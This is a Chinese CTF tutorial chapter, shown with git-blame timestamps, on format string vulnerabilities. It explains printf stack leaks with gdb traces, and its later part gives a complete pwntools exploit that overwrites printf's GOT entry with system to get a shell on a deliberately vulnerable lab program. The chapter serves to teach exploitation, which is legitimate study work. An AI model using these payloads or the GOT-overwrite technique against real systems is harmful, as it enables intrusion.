CTF-All-In-One/doc/3.3.1_format_string.md

651 lines
26 KiB
Markdown
Raw Normal View History

2017-08-16 23:06:01 +07:00
# 格式化字符串漏洞
2017-08-18 22:34:44 +07:00
2017-08-20 10:26:20 +07:00
- [格式化输出函数和格式字符串](#格式化输出函数和格式字符串)
2017-08-18 22:34:44 +07:00
- [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理)
2017-08-20 10:26:20 +07:00
- [格式化字符串漏洞](#格式化字符串漏洞)
2017-09-05 22:06:55 +07:00
- [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞)
2017-08-18 22:34:44 +07:00
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
2017-08-24 00:21:05 +07:00
- [扩展阅读](#扩展阅读)
2017-08-18 22:34:44 +07:00
## 格式化输出函数和格式字符串
2017-08-23 19:36:52 +07:00
2017-08-19 21:43:27 +07:00
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
#### 函数
2017-08-23 19:36:52 +07:00
2017-08-19 21:43:27 +07:00
```c
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
```
#### 转换指示符
2017-08-23 19:36:52 +07:00
2017-08-19 21:43:27 +07:00
字符 | 类型 | 使用
--- | --- | ---
d | 4-byte | Integer
u | 4-byte | Unsigned Integer
x | 4-byte | Hex
s | 4-byte ptr | String
c | 1-byte | Character
#### 长度
2017-08-23 19:36:52 +07:00
2017-08-19 21:43:27 +07:00
字符 | 类型 | 使用
--- | --- | ---
hh | 1-byte | char
h | 2-byte | short int
l | 4-byte | long int
ll | 8-byte | long long int
#### 示例
2017-08-23 19:36:52 +07:00
2017-08-19 21:43:27 +07:00
```
#include<stdio.h>
#include<stdlib.h>
void main() {
char *format = "%s";
char *arg1 = "Hello World!\n";
printf(format, arg1);
}
```
```c
printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001"
printf("%.2f", 1.2345); // 1.23
printf("%#010x", 3735928559); // 0xdeadbeef
printf("%s%n", "01234", &n); // n = 5
```
2017-08-18 22:34:44 +07:00
## 格式化字符串漏洞基本原理
2017-08-23 19:36:52 +07:00
2017-08-19 21:43:27 +07:00
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
```c
#include<stdio.h>
void main() {
printf("%s %d %s", "Hello World!", 233, "\n");
}
```
```text
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000053d <+0>: lea ecx,[esp+0x4]
0x00000541 <+4>: and esp,0xfffffff0
0x00000544 <+7>: push DWORD PTR [ecx-0x4]
0x00000547 <+10>: push ebp
0x00000548 <+11>: mov ebp,esp
0x0000054a <+13>: push ebx
0x0000054b <+14>: push ecx
0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
0x00000551 <+20>: add eax,0x1aaf
0x00000556 <+25>: lea edx,[eax-0x19f0]
0x0000055c <+31>: push edx
0x0000055d <+32>: push 0xe9
0x00000562 <+37>: lea edx,[eax-0x19ee]
0x00000568 <+43>: push edx
0x00000569 <+44>: lea edx,[eax-0x19e1]
0x0000056f <+50>: push edx
0x00000570 <+51>: mov ebx,eax
0x00000572 <+53>: call 0x3d0 <printf@plt>
0x00000577 <+58>: add esp,0x10
0x0000057a <+61>: nop
0x0000057b <+62>: lea esp,[ebp-0x8]
0x0000057e <+65>: pop ecx
0x0000057f <+66>: pop ebx
0x00000580 <+67>: pop ebp
0x00000581 <+68>: lea esp,[ecx-0x4]
0x00000584 <+71>: ret
End of assembler dump.
```
```text
gdb-peda$ s
[----------------------------------registers-----------------------------------]
EAX: 0x56557000 --> 0x1efc
EBX: 0x56557000 --> 0x1efc
ECX: 0xffffd250 --> 0x1
EDX: 0x5655561f ("%s %d %s")
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd238 --> 0x0
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555569 <main+44>: lea edx,[eax-0x19e1]
0x5655556f <main+50>: push edx
0x56555570 <main+51>: mov ebx,eax
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
0x56555577 <main+58>: add esp,0x10
0x5655557a <main+61>: nop
0x5655557b <main+62>: lea esp,[ebp-0x8]
0x5655557e <main+65>: pop ecx
Guessed arguments:
arg[0]: 0x5655561f ("%s %d %s")
arg[1]: 0x56555612 ("Hello World!")
arg[2]: 0xe9
arg[3]: 0x56555610 --> 0x6548000a ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 --> 0x5655561f ("%s %d %s")
0004| 0xffffd224 --> 0x56555612 ("Hello World!")
0008| 0xffffd228 --> 0xe9
0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
0016| 0xffffd230 --> 0xffffd250 --> 0x1
0020| 0xffffd234 --> 0x0
0024| 0xffffd238 --> 0x0
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555572 in main ()
```
```text
gdb-peda$ r
Continuing
Hello World! 233
[Inferior 1 (process 27416) exited with code 022]
```
2017-08-20 10:26:20 +07:00
根据 cdecl 的调用约定,在进入 `printf()` 函数之前,将参数从右到左依次压栈。进入 `printf()` 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 `%`,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:`% d` 和 `%d` 是一样的)
2017-08-19 21:43:27 +07:00
接下来我们修改一下上面的程序,给格式字符串加上 `%x %x %x %3$s`,使它出现格式化字符串漏洞:
```c
#include<stdio.h>
void main() {
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
}
```
反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:
```text
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0x56557000 --> 0x1efc
EBX: 0x56557000 --> 0x1efc
ECX: 0xffffd250 --> 0x1
EDX: 0x5655561f ("%s %d %s %x %x %x %3$s")
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd238 --> 0x0
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555569 <main+44>: lea edx,[eax-0x19e1]
0x5655556f <main+50>: push edx
0x56555570 <main+51>: mov ebx,eax
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
0x56555577 <main+58>: add esp,0x10
0x5655557a <main+61>: nop
0x5655557b <main+62>: lea esp,[ebp-0x8]
0x5655557e <main+65>: pop ecx
Guessed arguments:
arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
arg[1]: 0x56555612 ("Hello World!")
arg[2]: 0xe9
arg[3]: 0x56555610 --> 0x6548000a ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
0004| 0xffffd224 --> 0x56555612 ("Hello World!")
0008| 0xffffd228 --> 0xe9
0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
0016| 0xffffd230 --> 0xffffd250 --> 0x1
0020| 0xffffd234 --> 0x0
0024| 0xffffd238 --> 0x0
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555572 in main ()
```
```text
gdb-peda$ c
Continuing.
Hello World! 233
ffffd250 0 0
[Inferior 1 (process 27480) exited with code 041]
```
这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 `%x` 打印出了 `0xffffd230~0xffffd238` 栈内的数据,这些都不是我们输入的。而最后一个参数 `%3$s` 是对 `0xffffd22c``\n` 的重用。
上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:
```c
#include<stdio.h>
void main() {
char buf[50];
if (fgets(buf, sizeof buf, stdin) == NULL)
return;
printf(buf);
}
```
```text
gdb-peda$
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1fa ("Hello %x %x %x !\n")
EBX: 0x56557000 --> 0x1ef8
ECX: 0xffffd1fa ("Hello %x %x %x !\n")
EDX: 0xf7f9685c --> 0x0
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd238 --> 0x0
ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555623 <main+70>: sub esp,0xc
0x56555626 <main+73>: lea eax,[ebp-0x3e]
0x56555629 <main+76>: push eax
=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>
0x5655562f <main+82>: add esp,0x10
0x56555632 <main+85>: jmp 0x56555635 <main+88>
0x56555634 <main+87>: nop
0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
Guessed arguments:
arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
0004| 0xffffd1e4 --> 0x32 ('2')
0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
0016| 0xffffd1f0 --> 0xffffffff
0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
0024| 0xffffd1f8 --> 0x65485ea0
0028| 0xffffd1fc ("llo %x %x %x !\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x5655562a in main ()
```
```text
gdb-peda$ c
Continuing.
Hello 32 f7f95580 565555f4 !
[Inferior 1 (process 28253) exited normally]
```
如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 `buf` 中输入一些转换指示符,则 `printf()` 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 `Hello %x %x %x !\n`(其中 `\n``fgets()` 函数给我们自动加上的),这时,程序就会输出栈内的数据。
我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:
- 为什么可以通过编译?
- 因为 `printf()` 函数的参数被定义为可变的。
- 为了发现不匹配的情况,编译器需要理解 `printf()` 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
- 有时格式字符串并不是固定的,它可能在程序执行中动态生成。
- `printf()` 函数自己可以发现不匹配吗?
- `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
2017-08-18 22:34:44 +07:00
2017-08-20 10:26:20 +07:00
## 格式化字符串漏洞
2017-08-23 19:36:52 +07:00
2017-08-20 10:26:20 +07:00
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
#### 使程序崩溃
2017-08-23 19:36:52 +07:00
2017-08-20 16:23:48 +07:00
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
利用类似下面的格式字符串即可触发漏洞:
```c
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
```
- 对于每一个 `%s``printf()` 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
- 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
#### 查看栈内容
2017-08-23 19:36:52 +07:00
2017-09-08 23:43:29 +07:00
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
2017-08-20 10:26:20 +07:00
2017-09-08 23:43:29 +07:00
```c
#include<stdio.h>
void main() {
char format[32];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
scanf("%s", format);
printf(format, arg1, arg2, arg3);
printf("\n");
}
```
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
```text
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x")
0024| 0xffffd5d8 (".%08x.%08x.%08x")
0028| 0xffffd5dc ("x.%08x.%08x")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
gdb-peda$ c
Continuing.
00000001.88888888.ffffffff.00008000
[Inferior 1 (process 31270) exited with code 012]
```
格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。
```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%p.%p.%p.%p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%p.%p.%p.%p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%p.%p.%p.%p")
0024| 0xffffd5d8 ("p.%p.%p")
0028| 0xffffd5dc --> 0x70252e ('.%p')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
gdb-peda$ c
Continuing.
0x1.0x88888888.0xffffffff.0x8000
[Inferior 1 (process 31309) exited with code 012]
```
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
```
%n$x
```
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
```
db-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p")
0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
gdb-peda$ x/10w $esp
0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff
0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830
0xffffd5e0: 0x70243225 0x2432252e
gdb-peda$ c
Continuing.
ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325
```
这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`,和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
2017-08-20 10:26:20 +07:00
#### 查看任意地址的内存
2017-08-20 16:23:48 +07:00
#### 覆盖栈内容
2017-08-20 10:26:20 +07:00
#### 覆盖任意地址内存
2017-08-18 22:34:44 +07:00
2017-09-05 22:06:55 +07:00
## x86-64 中的格式化字符串漏洞
2017-08-18 22:34:44 +07:00
## CTF 中的格式化字符串漏洞
2017-08-23 19:36:52 +07:00
2017-08-24 00:21:05 +07:00
#### pwntools pwnlib.fmtster 模块
2017-08-23 19:36:52 +07:00
文档地址http://pwntools.readthedocs.io/en/stable/fmtstr.html
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`
`FmtStr` 提供了自动化的字符串漏洞利用:
```python
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
```
- execute_fmt (function):与漏洞进程进行交互的函数
- offset (int):你控制的第一个格式化程序的偏移量
- padlen (int):在 paylod 之前添加的 pad 的大小
- numbwritten (int):已经写入的字节数
`fmtstr_payload` 用于自动生成格式化字符串 paylod
```python
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
```
- offset (int):你控制的第一个格式化程序的偏移量
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}
- numbwritten (int):已经由 printf 函数写入的字节数
- write_size (str):必须是 byteshort 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写hhnhn或n
2017-08-24 00:21:05 +07:00
我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
2017-08-23 19:36:52 +07:00
```c
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
```
2017-08-24 00:21:05 +07:00
为了简单一点,我们关闭 ASLR并使用下面的命令编译关闭 PIE使得程序的 .text .bss 等段的内存地址固定:
2017-08-23 19:36:52 +07:00
```
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
```
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
2017-08-24 00:21:05 +07:00
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp但这里我们还是先演示手工方法怎么做最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下:
2017-08-23 19:36:52 +07:00
```text
gdb-peda$ b main
...
gdb-peda$ r
...
2017-08-24 00:21:05 +07:00
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1f0 ("AAAA\n")
2017-09-05 22:06:55 +07:00
EBX: 0x804a000 --> 0x8049f10 --> 0x1
2017-08-24 00:21:05 +07:00
ECX: 0xffffd1f0 ("AAAA\n")
2017-09-05 22:06:55 +07:00
EDX: 0x400
ESI: 0xf7f97000 --> 0x1bbd90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
2017-08-24 00:21:05 +07:00
ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048508 <main+82>: sub esp,0xc
0x804850b <main+85>: lea eax,[ebp-0x408]
0x8048511 <main+91>: push eax
=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>
0x8048517 <main+97>: add esp,0x10
0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
0x8048520 <main+106>: mov eax,DWORD PTR [eax]
0x8048522 <main+108>: sub esp,0xc
Guessed arguments:
arg[0]: 0xffffd1f0 ("AAAA\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
2017-09-05 22:06:55 +07:00
0008| 0xffffd1e8 --> 0x400
2017-08-24 00:21:05 +07:00
0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
0016| 0xffffd1f0 ("AAAA\n")
0020| 0xffffd1f4 --> 0xa ('\n')
2017-09-05 22:06:55 +07:00
0024| 0xffffd1f8 --> 0x0
0028| 0xffffd1fc --> 0x0
2017-08-24 00:21:05 +07:00
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048512 in main ()
```
我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset
```text
2017-09-05 22:06:55 +07:00
$ readelf -r a.out
2017-08-24 00:21:05 +07:00
Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
```
在 gdb 中获得 `printf()` 的虚拟地址:
```text
gdb-peda$ p printf
$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
```
获得 `system()` 的虚拟地址:
```text
2017-08-23 19:36:52 +07:00
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
```
2017-08-24 00:21:05 +07:00
好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:
2017-08-23 19:36:52 +07:00
```python
2017-08-24 00:21:05 +07:00
# -*- coding: utf-8 -*-
2017-08-23 19:36:52 +07:00
from pwn import *
elf = ELF('./a.out')
r = process('./a.out')
2017-08-24 00:21:05 +07:00
libc = ELF('/usr/lib32/libc.so.6')
2017-08-23 19:36:52 +07:00
2017-08-24 00:21:05 +07:00
# 计算偏移量
2017-08-23 19:36:52 +07:00
def exec_fmt(payload):
r.sendline(payload)
info = r.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
2017-08-24 00:21:05 +07:00
# 获得 printf 的 GOT 地址
printf_got = elf.got['printf']
log.success("printf_got => {}".format(hex(printf_got)))
# 获得 printf 的虚拟地址
payload = p32(printf_got) + '%{}$s'.format(offset)
r.send(payload)
printf_addr = u32(r.recv()[4:8])
log.success("printf_addr => {}".format(hex(printf_addr)))
2017-08-23 19:36:52 +07:00
2017-08-24 00:21:05 +07:00
# 获得 system 的虚拟地址
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
2017-08-23 19:36:52 +07:00
log.success("system_addr => {}".format(hex(system_addr)))
2017-08-24 00:21:05 +07:00
payload = fmtstr_payload(offset, {printf_got : system_addr})
2017-08-23 19:36:52 +07:00
r.send(payload)
r.send('/bin/sh')
r.recv()
r.interactive()
```
```text
$ python2 exp.py
[*] '/home/firmy/Desktop/RE4B/a.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
2017-08-24 00:21:05 +07:00
[+] Starting local process './a.out': pid 17375
[*] '/usr/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
2017-08-23 19:36:52 +07:00
[*] Found format string offset: 4
2017-08-24 00:21:05 +07:00
[+] printf_got => 0x804a010
[+] printf_addr => 0xf7e26bf0
2017-08-23 19:36:52 +07:00
[+] system_addr => 0xf7e17060
[*] Switching to interactive mode
$ echo "hacked!"
hacked!
```
2017-08-24 00:21:05 +07:00
这样我们就获得了 shell可以看到输出的信息和我们手工得到的信息完全相同。
# 扩展阅读
[Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)